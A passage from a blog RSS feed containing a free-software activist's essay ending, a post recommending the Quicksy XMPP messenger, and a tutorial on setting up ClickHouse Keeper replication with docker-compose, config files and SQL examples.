<p>Fast-forward to April 2021, I left FSF India due to <a href="https://fsf.org.in/news/board-statement-2021/">their support for Richard Stallman at the event of him being re-elected as a board member of FSF</a>. After that, I focused on campaigning for free software on behalf of <a href="https://fsci.in">Free Software Community of India(FSCI)</a>. I became an activist by this time. I think the main reason I became an activist is that you cannot use Free Software or have privacy/anonymity in isolation. Whatever the majority of people use is usually forced upon the minority. Free Software users who care for philosophy of free software are in minority, and therefore we have to constantly fight, for example, against the social pressure of using WhatsApp. I also realized that the real way to solve the problem is raising awareness on the issue and help people in switching to Free Software. User boycott of nonfree software is a powerful way to defeat the companies who exploit users for using their services.</p>
<p>Naturally, I wanted to switch to fully free software, which means not using any proprietary software. <a href="https://ravidwivedi.in/posts/liberated-computer/">I bought a Liberated Computer</a> which can run exclusively free software, thanks to Abhas. Abhas also taught me how to install a custom ROM in the phone so that I can get rid of proprietary apps. Now I could do my computing without giving away freedom, which is a unique accomplishment in today&rsquo;s world. This way I switched to free software and my Macbook passed on to someone else who seems happy to be imprisoned by it(but I am not happy that I did this to someone).</p>
<p>Thanks to all the people who made it possible. First of all, huge thanks to my parents for cooperating (to an extent). Without them supporting me, it wouldn&rsquo;t have been possible. There are many people who took time and effort to teach me many things. Also, there were already technical solutions for freedom. Free Software movement has existed for long. Thanks to all the people for their contributions to the software I rely on. Thanks to the Free Software Community.</p>
<p>I would like to take the opportunity to say that we do not really lack in technical solutions for these problems, but rather the willpower of people to use them.</p>
<p>In the end, I would like to say that the journey has not ended, it has only started.</p>
]]></content:encoded>
            <author>Ravi Dwivedi</author>
        </item>
        <item>
            <title><![CDATA[Quicksy: Privacy with convenience]]></title>
            <link>https://ravidwivedi.in/posts/quicksy-app/</link>
            <guid isPermaLink="false">https://ravidwivedi.in/posts/quicksy-app/</guid>
            <pubDate>Fri, 31 Dec 2021 00:00:00 GMT</pubDate>
            <description><![CDATA[What is Quicksy?
Quicksy app logo

Quicksy is a chatting app for Android which is available on Google Play Store and F-Droid.
Quicksy offers the same convenience, i.e., signup using phone number, as WhatsApp, Telegram and Signal. Signal respects users freedom and privacy, but Quicksy, in addition, is interoperable while Signal is not. iOS does not have Quicksy but Monal or Siskin IM on ioS are compatible with Quicksy.
Here is a video tutorial to get started with Quicksy.
Welcome screen of Quicksy app

List of a few features of Quicksy:
Available on F-Droid and Play Store.
Quicksy supports encryption by default and due to software code being available, we can verify that it does encrypt messages (without any cheating!). Encryption means only the users exchanging messages can read them. Quicksy respects users privacy in this way. The Quicksy server cannot read your messages.
OMEMO Encryption in Quicksy app.


Very good video/audio call support.
Video calling in Quicksy app. Credits: F-Droid Quicksy page


Sharing of photos/videos/voice message, in encrypted form.
Sharing pictures in Quicksy app.



If any of your contacts register with Quicksy service, then Quicksy automatically detects and shows them in your Quicksy contact list.
There are many apps and services compatible with Quicksy, like Conversations, Blabber, Monal etc and therefore, you are not locked into one service provider, unlike WhatsApp, Telegram, Signal.
One server goes down does not imply that the whole XMPP communications goes down. This is due to the decentralized nature of XMPP which Quicksy is a part of.
Easy migration: If Quicksy does something in future that you do not agree with, you can just use another XMPP service and still be able to talk to your contacts.
Why is Quicksy different?
Popular messenger apps like WhatsApp, Telegram and Signal have problems that users do not control them. For details, please check this article. WhatsApp uses the control over its users to put them under surveillance. Telegram and Signal are free software but centralized. WhatsApp is nonfree software as well as centralized. Centralized services are easily suspectible to backdoors, can be compromised later on due to change of privacy policy or terms and conditions, are easily for government to ban etc. The owner of the platform dictates the decisions of a centralized system, so even if it is good for now, it cannot be trusted to remain good forever.
Quicksy is free/swatantra/mukt/libre software (‘free’ as in freedom) and therefore users can inspect, modify and share the software. If users want to add a feature, fix a problem with the software, they don’t have to beg the developer. In other words, the software is under user’s control.
Quicksy is a part of XMPP protocol which decentralized and federated. To understand federation, we give example of mobile telecom operators. A person using a BSNL SIM can talk to a user having Vodafone SIM, by call and SMS. WhatsApp, Telegram and Signal do not give you that freedom. Your all the contacts need to be registered with the same service provider. These apps have a fundamental problem of vendor lock-in – that if you uninstall WhatsApp, for example, you lose all your contacts. With federation, it is like changing SIM. If you have a problem with a telecom operator and you buy a new SIM of another company, you do not lose all your contacts. You can still call and message your earlier contacts. This way we can control our communications rather than relying on a single entity for our communications.
Let’s choose Quicksy for a free society rather than being locked by WhatsApp, Telegram or Signal.
A word for Free Software Community
Dear Free Software Community, let’s raise awareness about Quicksy. We don’t have to recommend our geeky solutions to everyone. If some people switch to free software, decentralized and federated app like Quicksy, that is better compared to them finding xmpp/matrix/IRC difficult to use and not using it. We need to work to advertise this option and raise awareness about it.
Further Reading:
Introduction to Free Software.
Why Free Software and decentralization are necessary for privacy.
WhatsApp is malware.
What Does The Facebook Outage Teach Us.
Choosing a privacy-respecting chatting app.
Reclaim privacy in instant messaging with Free Software and choice of service providers.]]></description>
            <content:encoded><![CDATA[<h4 id="what-is-quicksy">What is Quicksy?</h4>
<figure>
<img src="https://ravidwivedi.in/images/quicksy_logo.png" width="100" height="100">
<figcaption>Quicksy app logo</figcaption>
</figure>
<p><a href="https://quicksy.im">Quicksy</a> is a chatting app for Android which is available on <a href="https://play.google.com/store/apps/details?id=im.quicksy.client&amp;hl=en_IN&amp;gl=US">Google Play Store</a> and <a href="https://www.f-droid.org/en/packages/im.quicksy.client/">F-Droid</a>.</p>
<p>Quicksy offers the same convenience, i.e., signup using phone number, as WhatsApp, Telegram and Signal. Signal respects users <a href="https://ravidwivedi.in/free-software">freedom</a> and privacy, but Quicksy, in addition, is interoperable while Signal is not. iOS does not have Quicksy but Monal or Siskin IM on ioS are compatible with Quicksy.</p>
<p><a href="https://yewtu.be/watch?v=pb7b6i7fgfk">Here is a video tutorial to get started with Quicksy</a>.</p>
<figure>
<img src="https://ravidwivedi.in/images/Quicksy.png" width="150" height="300">
<figcaption>Welcome screen of Quicksy app</figcaption>
</figure>
<p><strong>List of a few features of Quicksy</strong>:</p>
<ul>
<li>
<p>Available on F-Droid and Play Store.</p>
</li>
<li>
<p>Quicksy supports encryption by default and due to software code being available, we can verify that it does encrypt messages (without any cheating!). Encryption means only the users exchanging messages can read them. Quicksy respects users privacy in this way. The Quicksy server cannot read your messages.</p>
</li>
</ul>
<figure>
<img src="https://ravidwivedi.in/images/quicksy_omemo.png" width="150" height="300">
<figcaption>OMEMO Encryption in Quicksy app.</figcaption>
</figure>
<ul>
<li>Very good video/audio call support.</li>
</ul>
<figure>
<img src="https://ravidwivedi.in/images/quicksy_call.jpeg" width="150" height="300">
<figcaption>Video calling in Quicksy app. Credits: <a href="https://www.f-droid.org/en/packages/im.quicksy.client/">F-Droid Quicksy page</a></figcaption>
</figure>
<ul>
<li>Sharing of photos/videos/voice message, in encrypted form.</li>
</ul>
<figure>
<img src="https://ravidwivedi.in/images/quicksy_pic.png" width="150" height="300">
<figcaption>Sharing pictures in Quicksy app.</figcaption>
</figure>
<ul>
<li>
<p>If any of your contacts register with Quicksy service, then Quicksy automatically detects and shows them in your Quicksy contact list.</p>
</li>
<li>
<p>There are many apps and services compatible with Quicksy, like Conversations, Blabber, Monal etc and therefore, you are not locked into one service provider, unlike WhatsApp, Telegram, Signal.</p>
</li>
<li>
<p>One server goes down does not imply that the whole XMPP communications goes down. This is due to the decentralized nature of XMPP which Quicksy is a part of.</p>
</li>
<li>
<p>Easy migration: If Quicksy does something in future that you do not agree with, you can just use another XMPP service and still be able to talk to your contacts.</p>
</li>
</ul>
<h4 id="why-is-quicksy-different">Why is Quicksy different?</h4>
<p>Popular messenger apps like WhatsApp, Telegram and Signal have problems that users do not control them. For details, please <a href="https://fsf.org.in/article/better-than-whatsapp">check this article</a>. WhatsApp uses the control over its users to put them under surveillance. Telegram and Signal are free software but centralized. WhatsApp is nonfree software as well as centralized. Centralized services are easily suspectible to backdoors, can be compromised later on due to change of privacy policy or terms and conditions, are easily for government to ban etc. The owner of the platform dictates the decisions of a centralized system, so even if it is good for now, it cannot be trusted to remain good forever.</p>
<p>Quicksy is <a href="https://ravidwivedi.in/free-software">free/swatantra/mukt/libre software</a> (&lsquo;free&rsquo; as in freedom) and therefore users can inspect, modify and share the software. If users want to add a feature, fix a problem with the software, they don&rsquo;t have to beg the developer. In other words, the software is under user&rsquo;s control.</p>
<p>Quicksy is a part of XMPP protocol which decentralized and federated. To understand federation, we give example of mobile telecom operators. A person using a BSNL SIM can talk to a user having Vodafone SIM, by call and SMS. WhatsApp, Telegram and Signal do not give you that freedom. Your all the contacts need to be registered with the same service provider. These apps have a fundamental problem of vendor lock-in &ndash; that if you uninstall WhatsApp, for example, you lose all your contacts. With federation, it is like changing SIM. If you have a problem with a telecom operator and you buy a new SIM of another company, you do not lose all your contacts. You can still call and message your earlier contacts. This way we can control our communications rather than relying on a single entity for our communications.</p>
<p>Let&rsquo;s choose Quicksy for a free society rather than being locked by WhatsApp, Telegram or Signal.</p>
<h4 id="a-word-for-free-software-community">A word for Free Software Community</h4>
<p>Dear Free Software Community, let&rsquo;s raise awareness about Quicksy. We don&rsquo;t have to recommend our geeky solutions to everyone. If some people switch to free software, decentralized and federated app like Quicksy, that is better compared to them finding xmpp/matrix/IRC difficult to use and not using it. We need to work to advertise this option and raise awareness about it.</p>
<h3 id="further-reading">Further Reading:</h3>
<ul>
<li>
<p><a href="https://ravidwivedi.in/free-software">Introduction to Free Software</a>.</p>
</li>
<li>
<p><a href="https://ravidwivedi.in/posts/free-software-important-for-privacy">Why Free Software and decentralization are necessary for privacy</a>.</p>
</li>
<li>
<p><a href="https://ravidwivedi.in/whatsapp">WhatsApp is malware</a>.</p>
</li>
<li>
<p><a href="https://ravidwivedi.in/posts/what-does-facebook-outage-teach-us">What Does The Facebook Outage Teach Us</a>.</p>
</li>
<li>
<p><a href="https://ravidwivedi.in/posts/chatting-apps">Choosing a privacy-respecting chatting app</a>.</p>
</li>
<li>
<p><a href="https://fsci.in/blog/reclaim-privacy-messengers/">Reclaim privacy in instant messaging with Free Software and choice of service providers</a>.</p>
</li>
</ul>
]]></content:encoded>
            <author>Ravi Dwivedi</author>
        </item>
        <item>
            <title><![CDATA[Using ClickHouse Keeper for Replication]]></title>
            <link>https://mrkaran.dev/posts/clickhouse-replication/</link>
            <guid isPermaLink="false">https://mrkaran.dev/posts/clickhouse-replication/</guid>
            <pubDate>Fri, 17 Dec 2021 02:40:55 GMT</pubDate>
            <description><![CDATA[ClickHouse is an extremely performant columnar DB used for fast analytical processing. ClickHouse supports data replication using Apache Zookeeper which needs to be deployed externally. While Zookeeper works well after you’ve tuned it properly, it was still an additional maintenance overhead. The good news is that you don’t have to worry about this anymore.
ClickHouse 21.12 release annoucement mentions ClickHouse Keeper as feature complete. Keeper is a replacement for Zookeeper, written in C++ and uses the RAFT algorithm for consensus across different nodes in the cluster. It also has some nice improvements over Zookeeper, such as compressed snapshots/logs of the state changes in the cluster and the ability to run it inside the server binary itself. I decided to spin up a local Clickhouse cluster and test out the new clickhouse-keeper feature.
For our local setup, we’ll set up 4 nodes. We’ll create 2 shards to distribute our data and each shard will have 2 replicas each. The setup looks something like this:

We need to run clickhouse-keeper only on 3 of these nodes to ensure a quorum. Here’s a sample docker-compose.yml to spin up these nodes as containers:
version: "3.7"

x-clickhouse-defaults: &clickhouse-defaults
  restart: unless-stopped
  image: yandex/clickhouse-server:21.12.2.17
  ulimits:
    nproc: 65535
    nofile:
      soft: 262144
      hard: 262144

services:
  clickhouse-blue-1:
    <<: *clickhouse-defaults
    container_name: clickhouse-blue-1
    hostname: clickhouse-blue-1
    ports:
      - 9000:9000
      - 8123:8123
      - 9181:9181
    volumes:
      - type: volume
        source: ch-blue-1-data
        target: /var/lib/clickhouse
      - "./configs/gen/clickhouse-blue-1:/etc/clickhouse-server/config.d/"

  clickhouse-blue-2:
    <<: *clickhouse-defaults
    container_name: clickhouse-blue-2
    hostname: clickhouse-blue-2
    ports:
      - 9001:9000
      - 8124:8123
      - 9182:9181
    volumes:
      - type: volume
        source: ch-blue-2-data
        target: /var/lib/clickhouse
      - "./configs/gen/clickhouse-blue-2:/etc/clickhouse-server/config.d/"

  clickhouse-green-1:
    <<: *clickhouse-defaults
    container_name: clickhouse-green-1
    hostname: clickhouse-green-1
    ports:
      - 9002:9000
      - 8125:8123
      - 9183:9181
    volumes:
      - type: volume
        source: ch-green-1-data
        target: /var/lib/clickhouse
      - "./configs/gen/clickhouse-green-1:/etc/clickhouse-server/config.d/"

  clickhouse-green-2:
    <<: *clickhouse-defaults
    container_name: clickhouse-green-2
    hostname: clickhouse-green-2
    ports:
      - 9003:9000
      - 8126:8123
      - 9184:9181
    volumes:
      - type: volume
        source: ch-green-2-data
        target: /var/lib/clickhouse
      - "./configs/gen/clickhouse-green-2:/etc/clickhouse-server/config.d/"

volumes:
  ch-blue-1-data:
  ch-blue-2-data:
  ch-green-1-data:
  ch-green-2-data:
clickhouse-keeper runs only if the <keeper_config> section is present inside the config. Here’s a sample config:
<clickhouse>
    <keeper_server>
        <tcp_port>9181</tcp_port>
        <server_id>${SERVER_ID}</server_id>
        <log_storage_path>/var/lib/clickhouse/coordination/log</log_storage_path>
        <snapshot_storage_path>/var/lib/clickhouse/coordination/snapshots</snapshot_storage_path>

        <coordination_settings>
            <operation_timeout_ms>10000</operation_timeout_ms>
            <session_timeout_ms>30000</session_timeout_ms>
            <raft_logs_level>trace</raft_logs_level>
        </coordination_settings>

        <raft_configuration>
            <server>
                <id>1</id>
                <hostname>clickhouse-blue-1</hostname>
                <port>9234</port>
            </server>
            <server>
                <id>2</id>
                <hostname>clickhouse-blue-2</hostname>
                <port>9234</port>
            </server>
            <server>
                <id>3</id>
                <hostname>clickhouse-green-1</hostname>
                <port>9234</port>
            </server>
        </raft_configuration>
    </keeper_server>
</clickhouse>
There are some other configs required for Clickhouse to discover other nodes and enable replication. You can find a working example in this repo.
Verifying Cluster State#
Once the containers are configured and running, we can verify if the replication is working as intended:
Let’s first check if the keeper daemon is running by:
echo ruok | nc 127.0.0.1 9181
imok
ruok is a part of Four Letter Commands that are mostly used to diagnose Keeper’s client/server.
To ensure that clickhouse-server is aware of the keeper cluster, we can query the system.zookeeper table:
SELECT *
FROM system.zookeeper
WHERE path = '/'
FORMAT Vertical

Query id: 287d3c2d-b93f-4d48-b335-6df2f89a8ab3

Row 1:
──────
name:           clickhouse
value:          
czxid:          3
mzxid:          3
ctime:          2021-12-17 09:11:05
mtime:          2021-12-17 09:11:05
version:        0
cversion:       1
aversion:       0
ephemeralOwner: 0
dataLength:     0
numChildren:    1
pzxid:          4
path:           /
If you don’t see any results in the system.zookeeper table, then re-check if zookeeper section is present inside the config. This config tells ClickHouse how to discover keeper nodes.
We can also see if our cluster is configured correctly with:
SELECT
    host_name,
    host_address,
    replica_num
FROM system.clusters
WHERE cluster = 'events'

Query id: a4bacfa1-d3aa-482f-b8b2-30b05442a173

┌─host_name──────────┬─host_address─┬─replica_num─┐
│ clickhouse-blue-1  │ 172.19.0.5   │           1 │
│ clickhouse-blue-2  │ 172.19.0.3   │           2 │
│ clickhouse-green-1 │ 172.19.0.4   │           1 │
│ clickhouse-green-2 │ 172.19.0.2   │           2 │
└────────────────────┴──────────────┴─────────────┘
(Here events is our cluster name specified in the remote_servers section of the config.)
Inserting Sample Data#
Let’s create a DB and add some data to the DB. We need to ensure that our data is split across shards and we can query all shards using a central view.
Cluster Schema#
CREATE DATABASE app ON CLUSTER 'events';

CREATE TABLE app.events_local ON CLUSTER '{cluster}' (
    time DateTime,
    event_id  Int32,
    uuid UUID
)
ENGINE = ReplicatedMergeTree('/clickhouse/tables/{cluster}/{shard}/{table}', '{replica}')
PARTITION BY toYYYYMM(time)
ORDER BY (event_id);

CREATE TABLE app.events_main ON CLUSTER '{cluster}' AS app.events_local
ENGINE = Distributed('{cluster}', app, events_local, rand());
What’s happening here:
We’ll create a sample database app with a single table events_local.
We’re using ReplicatedMergeTree here as that tells ClickHouse to automatically replicate the data inside the table when it’s inserted.

Properties like cluster/shard/replica are automatically populated from the server’s macros. It’s a handy feature that allows you to execute this command just once on the cluster and it automatically populates the relevant config in each server.
Finally we create a  Distributed table to perform our INSERT/SELECT operations in a central place. It’s possible to manually insert data to particular replicas, but since Clickhouse supports load balancing across shards, it’s preferred to create a table with a Distributed engine and let that happen automatically.

Write operations can be sharded based on a particular column name, but here we are simply using the rand() function, which splits the write randomly to different shards.
All read operations are parallelized and Clickhouse selects one replica from each shard to query the data from.
We use ON CLUSTER keyword to indicate that this query has to be run on all servers which are part of the cluster events.
It’s now time to insert some random data, for which you can use this command:
INSERT INTO app.events_main VALUES (now(), rand(1), generateUUIDv4());
We can now query the table and see if our records are present:
SELECT *
FROM app.events_main

┌────────────────time─┬───event_id─┬─uuid─────────────────────────────────┐
│ 2021-12-17 09:36:17 │ 1888949839 │ 3c33305e-8ea0-4ac1-a07a-667465ec9a85 │
└─────────────────────┴────────────┴──────────────────────────────────────┘
┌────────────────time─┬───event_id─┬─uuid─────────────────────────────────┐
│ 2021-12-17 09:36:16 │ -689113926 │ 2a944d71-73f3-4491-b851-4f0e6f296e44 │
└─────────────────────┴────────────┴──────────────────────────────────────┘
┌────────────────time─┬──event_id─┬─uuid─────────────────────────────────┐
│ 2021-12-17 09:36:15 │ 415899002 │ 5980299f-1594-4c17-8eb5-e512f15ecf34 │
└─────────────────────┴───────────┴──────────────────────────────────────┘
┌────────────────time─┬───event_id─┬─uuid─────────────────────────────────┐
│ 2021-12-17 09:36:16 │ 1303963476 │ 0b27d5bd-6315-4937-82a4-18199e5eebb7 │
└─────────────────────┴────────────┴──────────────────────────────────────┘
Now, you must be wondering how to check if the data is replicated and how the data is distributed across our shards. For that, we can use the handy remote() function:
SELECT *
FROM
(
    SELECT
        hostName(),
        *
    FROM remote('172.20.0.2', 'app', 'events_local')
    UNION ALL
    SELECT
        hostName(),
        *
    FROM remote('172.20.0.3', 'app', 'events_local')
    UNION ALL
    SELECT
        hostName(),
        *
    FROM remote('172.20.0.4', 'app', 'events_local')
    UNION ALL
    SELECT
        hostName(),
        *
    FROM remote('172.20.0.5', 'app', 'events_local')
)

Query id: 34a81447-a31b-4915-9bd8-7a6e17bb0860

┌─hostName()────────┬────────────────time─┬───event_id─┬─uuid─────────────────────────────────┐
│ clickhouse-blue-2 │ 2021-12-17 09:36:17 │ 1888949839 │ 3c33305e-8ea0-4ac1-a07a-667465ec9a85 │
└───────────────────┴─────────────────────┴────────────┴──────────────────────────────────────┘
┌─hostName()────────┬────────────────time─┬───event_id─┬─uuid─────────────────────────────────┐
│ clickhouse-blue-1 │ 2021-12-17 09:36:17 │ 1888949839 │ 3c33305e-8ea0-4ac1-a07a-667465ec9a85 │
└───────────────────┴─────────────────────┴────────────┴──────────────────────────────────────┘
┌─hostName()─────────┬────────────────time─┬──event_id─┬─uuid─────────────────────────────────┐
│ clickhouse-green-2 │ 2021-12-17 09:36:15 │ 415899002 │ 5980299f-1594-4c17-8eb5-e512f15ecf34 │
└────────────────────┴─────────────────────┴───────────┴──────────────────────────────────────┘
┌─hostName()─────────┬────────────────time─┬───event_id─┬─uuid─────────────────────────────────┐
│ clickhouse-green-2 │ 2021-12-17 09:36:16 │ -689113926 │ 2a944d71-73f3-4491-b851-4f0e6f296e44 │
└────────────────────┴─────────────────────┴────────────┴──────────────────────────────────────┘
┌─hostName()─────────┬────────────────time─┬───event_id─┬─uuid─────────────────────────────────┐
│ clickhouse-green-2 │ 2021-12-17 09:36:16 │ 1303963476 │ 0b27d5bd-6315-4937-82a4-18199e5eebb7 │
└────────────────────┴─────────────────────┴────────────┴──────────────────────────────────────┘
┌─hostName()─────────┬────────────────time─┬───event_id─┬─uuid─────────────────────────────────┐
│ clickhouse-green-1 │ 2021-12-17 09:36:16 │ 1303963476 │ 0b27d5bd-6315-4937-82a4-18199e5eebb7 │
└────────────────────┴─────────────────────┴────────────┴──────────────────────────────────────┘
┌─hostName()─────────┬────────────────time─┬──event_id─┬─uuid─────────────────────────────────┐
│ clickhouse-green-1 │ 2021-12-17 09:36:15 │ 415899002 │ 5980299f-1594-4c17-8eb5-e512f15ecf34 │
└────────────────────┴─────────────────────┴───────────┴──────────────────────────────────────┘
┌─hostName()─────────┬────────────────time─┬───event_id─┬─uuid─────────────────────────────────┐
│ clickhouse-green-1 │ 2021-12-17 09:36:16 │ -689113926 │ 2a944d71-73f3-4491-b851-4f0e6f296e44 │
└────────────────────┴─────────────────────┴────────────┴──────────────────────────────────────┘
Perfect! We can see our data is sharded as some parts of it exists in green and blue. We can also see that for each record, we have 2 entries thus confirming that ReplicatedMergeTree is doing its job!
Additional Scenarios#
All is well and good so far, but to ensure that our cluster setup is resilient we need to introduce our cluster to some Non-Happy scenarios.
Stop a replica node#

❯ docker-compose stop clickhouse-green-2 
Stopping clickhouse-green-2 ... done
Now, let’s query our records:
SELECT count(*)
FROM app.events_main

┌─count()─┐
│       4 │
└─────────┘
That seems right. We’re able to access all our data with just one replica down.
Let’s try inserting data and bring back the replica to see if it got automatically replicated or not:
INSERT INTO app.events_main VALUES (now(), rand(1), generateUUIDv4());

Ok.
SELECT *
FROM app.events_main
ORDER BY time DESC
LIMIT 1

┌────────────────time─┬──event_id─┬─uuid─────────────────────────────────┐
│ 2021-12-17 10:09:10 │ 375826335 │ 8dbbc9cf-8f00-4cc3-a4fb-0f17a68340e5 │
└─────────────────────┴───────────┴──────────────────────────────────────┘
Let’s start the replica again:
❯ docker-compose start clickhouse-green-2
Starting clickhouse-green-2 ... done
On querying the replica to see if it has the data:
SELECT
    hostName(),
    *
FROM remote('172.20.0.5', 'app', 'events_local')
ORDER BY time DESC
LIMIT 1

Query id: 422041dc-afe8-4f28-9659-6d58726f8c90

┌─hostName()─────────┬────────────────time─┬──event_id─┬─uuid─────────────────────────────────┐
│ clickhouse-green-2 │ 2021-12-17 10:09:10 │ 375826335 │ 8dbbc9cf-8f00-4cc3-a4fb-0f17a68340e5 │
└────────────────────┴─────────────────────┴───────────┴──────────────────────────────────────┘
Perfect! The record 375826335 automatically got replicated once the replica was healthy.
Stop a Keeper Node#

We’ll stop a server instance that is running the clickhouse-keeper process. By doing this, we’ll also be killing a replica, but that is okay.
❯ docker-compose stop clickhouse-blue-2
Stopping clickhouse-blue-2 ... done
Let’s insert some data:
INSERT INTO app.events_main VALUES (now(), rand(1), generateUUIDv4());

Ok
We can check the server information of the other 2 keeper nodes:
$ echo stat | nc 127.0.0.1 9181 | grep Mode
Mode: follower
$ echo stat | nc 127.0.0.1 9183 | grep Mode
Mode: leader
So, one of the keeper nodes has elected itself to be the leader and we have no problems in the setup so far. However, if we stop another keeper node, then there will be only keeper node remaining in the setup and to avoid a Split Brain issue, it won’t be able to elect itself as the leader.

What happens then? Only one way to find out:
❯ docker-compose stop clickhouse-blue-1
Stopping clickhouse-blue-1 ... done
INSERT INTO app.events_main VALUES (now(), rand(1), generateUUIDv4());

Received exception from server (version 21.12.2):
Code: 242. DB::Exception: Received from localhost:9000. DB::Exception: Table is in readonly mode (zookeeper path: /clickhouse/tables/events/green/table). (TABLE_IS_READ_ONLY)
Ah! So, we can still query for the data (which will be incomplete since blue shard is completely down), but we cannot insert any new data at all. We can even verify this by querying for the health of the keeper node:
$ echo mntr | nc localhost 9183            
This instance is not currently serving requests%                                                                                                                              
Add a new shard#

Alright, so our tests so far have been quite good and show that the cluster is resilient to failures as long as there exists a keeper node running as leader mode in the quorum. Now, let’s see how to add a new shard. We’ll extend our docker-compose.yml to add a new orange shard:
  clickhouse-orange-1:
    <<: *clickhouse-defaults
    container_name: clickhouse-orange-1
    hostname: clickhouse-orange-1
    ports:
      - 9004:9000
      - 8127:8123
      - 9185:9181
    volumes:
      - type: volume
        source: ch-orange-1-data
        target: /var/lib/clickhouse
      - "./configs/gen/clickhouse-orange-1:/etc/clickhouse-server/config.d/"
Inside our remote_servers.xml, we’ll add the orange shard as well:
 <shard>
     <internal_replication>true</internal_replication>
     <replica>
         <host>clickhouse-orange-1</host>
         <port>9000</port>
     </replica>
 </shard>
That’s pretty much it. Let’s start the new replica:
docker-compose up
Let’s insert some data and query if the shard is getting data or not:
SELECT
    hostName(),
    *
FROM remote('172.20.0.2', 'app', 'events_local')

Received exception from server (version 21.12.2):
Code: 519. DB::Exception: Received from localhost:9000. DB::Exception: All attempts to get table structure failed. Log: 

Code: 279. DB::NetException: All connection tries failed. Log: 

There is no table `app`.`events_local` on server: 172.20.0.2:9000

. (ALL_CONNECTION_TRIES_FAILED) (version 21.12.2.17 (official build))

. (NO_REMOTE_SHARD_AVAILABLE)
Houston, we have a problem.
> There is no table `app`.`events_local` on server: 172.20.0.2:9000
This is mentioned in the ClickHouse docs on Replication:
CREATE, DROP, ATTACH, DETACH and RENAME queries are executed on a single server and are not replicated:
This means that although we’d run CREATE DATABASE and CREATE TABLE commands using ON CLUSTER which executes on all servers, but since the orange-1 node is introduced after we ran that command, we need to manually create the DB and Table here. We have to execute the below commands inside the orange-1 replica:
CREATE DATABASE app;

CREATE TABLE app.events_local (
    time DateTime,
    event_id  Int32,
    uuid UUID
)
ENGINE = ReplicatedMergeTree('/clickhouse/tables/{cluster}/{shard}/{table}', '{replica}')
PARTITION BY toYYYYMM(time)
ORDER BY (event_id);
That’s all that is required. Adding a new replica is also the same process.
Summary#
Hope this tutorial helped you figure out how to use clickhouse-keeper to set up a distributed ClickHouse cluster DB. clickhouse-keeper is still a relatively new feature as the docs mention already, but given that it solves operations overhead of running a Zookeeper cluster, it’s worth checking it out.
References#
https://www.youtube.com/watch?v=abhcCRW09Ac

Slides used in above talk: https://presentations.clickhouse.com/meetup54/keeper.pdf
https://clickhouse.com/docs/en/operations/clickhouse-keeper
https://github.com/ClickHouse/ClickHouse/tree/master/tests/integration/test_keeper_multinode_simple
https://github.com/ClickHouse/ClickHouse/issues/2161
For the full code/config samples, you can check out the repo.
Fin!
Updates#
If you have setup RBAC on your cluster, make sure you add <user> and <password> fields to the <remote_server> configuration.]]></description>
            <content:encoded><![CDATA[<p>ClickHouse is an extremely performant columnar DB used for fast analytical processing. ClickHouse supports data <a rel="external" href="https://clickhouse.com/docs/en/engines/table-engines/mergetree-family/replication/">replication</a> using Apache Zookeeper which needs to be deployed externally. While Zookeeper works well after you’ve tuned it properly, it was still an additional maintenance overhead. The good news is that you don’t have to worry about this anymore.</p>
<p>ClickHouse 21.12 <a rel="external" href="https://clickhouse.com/blog/en/2021/clickhouse-v21.12-released/">release annoucement</a> mentions <code>ClickHouse Keeper</code> as feature complete. <a rel="external" href="https://clickhouse.com/docs/en/operations/clickhouse-keeper/">Keeper</a> is a replacement for Zookeeper, written in C++ and uses the RAFT algorithm for consensus across different nodes in the cluster. It also has some nice improvements over Zookeeper, such as compressed snapshots/logs of the state changes in the cluster and the ability to run it <em>inside</em> the server binary itself. I decided to spin up a local Clickhouse cluster and test out the new <code>clickhouse-keeper</code> feature.</p>
<p>For our local setup, we’ll set up <strong>4 nodes</strong>. We’ll create <strong>2 shards</strong> to distribute our data and each shard will have <strong>2 replicas each</strong>. The setup looks something like this:</p>
<p><img src="https://mrkaran.dev/images/clickhouse-cluster.png" alt="image" /></p>
<p>We need to run <code>clickhouse-keeper</code> only on 3 of these nodes to ensure a quorum. Here’s a sample <code>docker-compose.yml</code> to spin up these nodes as containers:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="yaml"><span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">v</span><span style="color: light-dark(#22863A, #8DDB8C);">ersion</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">3.7</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">x</span><span style="color: light-dark(#22863A, #8DDB8C);">-clickhouse-defaults</span><span>:</span><span style="color: light-dark(#D73A49, #F47067);"> &amp;</span><span style="color: light-dark(#6F42C1, #F69D50);">clickhouse-defaults</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">  r</span><span style="color: light-dark(#22863A, #8DDB8C);">estart</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> u</span><span style="color: light-dark(#032F62, #96D0FF);">nless-stopped</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">  i</span><span style="color: light-dark(#22863A, #8DDB8C);">mage</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> y</span><span style="color: light-dark(#032F62, #96D0FF);">andex/clickhouse-server:21.12.2.17</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">  u</span><span style="color: light-dark(#22863A, #8DDB8C);">limits</span><span>:</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">    n</span><span style="color: light-dark(#22863A, #8DDB8C);">proc</span><span>:</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 65535</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">    n</span><span style="color: light-dark(#22863A, #8DDB8C);">ofile</span><span>:</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">      s</span><span style="color: light-dark(#22863A, #8DDB8C);">oft</span><span>:</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 262144</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">      h</span><span style="color: light-dark(#22863A, #8DDB8C);">ard</span><span>:</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 262144</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">s</span><span style="color: light-dark(#22863A, #8DDB8C);">ervices</span><span>:</span></span>
